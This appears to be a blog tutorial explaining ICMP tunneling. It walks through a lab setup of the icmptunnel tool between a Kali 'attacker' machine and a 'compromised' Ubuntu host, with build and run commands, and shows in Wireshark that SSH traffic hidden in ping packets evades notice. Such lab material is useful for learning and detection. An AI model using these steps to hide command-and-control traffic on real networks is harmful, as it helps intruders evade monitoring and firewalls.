Press enter or click to view image in full size
ICMP tunneling is a technique that uses the ICMP (Internet Control Message Protocol) to send data between two computers in a way that hides the data inside regular network traffic, like ping requests and replies.
ICMP is mainly used for network diagnostics. The most common use is the ping command, where one computer sends an “echo request” to another, and the second computer replies with an “echo reply.” It’s a way to check if a device is online and reachable.
Instead of just using ICMP for network testing, ICMP tunneling allows data (like messages or files) to be secretly hidden in those echo requests and replies.
It makes it look like normal ping traffic, but in reality, it’s a way to send data covertly between two computers.
Once a hacker successfully compromises a target system, they often need to establish communication with the attacker’s device or send data back to it. If they use normal communication methods, such as HTTP or FTP, these activities might be detected by network security systems, firewalls, or intrusion detection systems (IDS). To avoid detection, the hacker will use ICMP tunneling.
Pingtunnel is a tool that creates a secret communication channel using ICMP packets, mainly through ping requests and replies. It allows users to tunnel TCP traffic (like a website connection or a remote session) over ICMP, making the communication appear like normal ping traffic.
1, Setup
You run ICMPTunnel on both ends
1. Client side: Attacker’s system
2, Server side: Target machine (already compromised)
The server runs ICMPTunnel in listen mode and waits for ICMP traffic.
The client sends ICMP Echo Request packets with data inside.
2, Encapsulation
3, Transmission
4. Extraction and Response
5. Continuous Communication
In this demonstration, we use ICMP Tunneling for Command & Control between two Linux machines.
sudo sugit clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
Press enter or click to view image in full size
2, Disable ICMP Echo Reply
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_allPress enter or click to view image in full size
3, Start the ICMP Tunnel Server
sudo ./icmptunnel -sOnce started, press Ctrl+z to pause the process, then run
bgPress enter or click to view image in full size
This sends the process to the background
Join Medium for free to get updates from this writer.
4, Assign IP to Tunnel Interface
sudo /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0Press enter or click to view image in full size
This creates a virtual interface tun0 which will handle the tunneled traffic
Press enter or click to view image in full size
1, Clone and Compile
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnel
make
Press enter or click to view image in full size
2, Disable ICMP Echo Reply
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all3, Start ICMP Tunnel Client
sudo ./icmptunnel <ubuntu ip>replace <ubuntu ip> with your Ubuntu mechine ip address
Then enter
Pause the process with Ctrl + z , then background it
bgPress enter or click to view image in full size
4, Assign IP to Client’s Tunnel Interface
sudo /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0Press enter or click to view image in full size
Press enter or click to view image in full size
After completing the setup, I connected to the Ubuntu machine via SSH from my Kali machine. Then, I opened Wireshark and applied the filter for SSH traffic, but I didn’t see any SSH-related packets.
Press enter or click to view image in full size
Then, I applied an ICMP filter in Wireshark and observed an unusually high number of packets being sent and received between the Kali and Ubuntu machines. This indicates that communication is actively taking place. In the background, data from both machines is being hidden inside ICMP packets and exchanged through echo requests and replies. To a normal observer, this traffic would appear as regular ping requests and responses, making it difficult to detect the covert communication.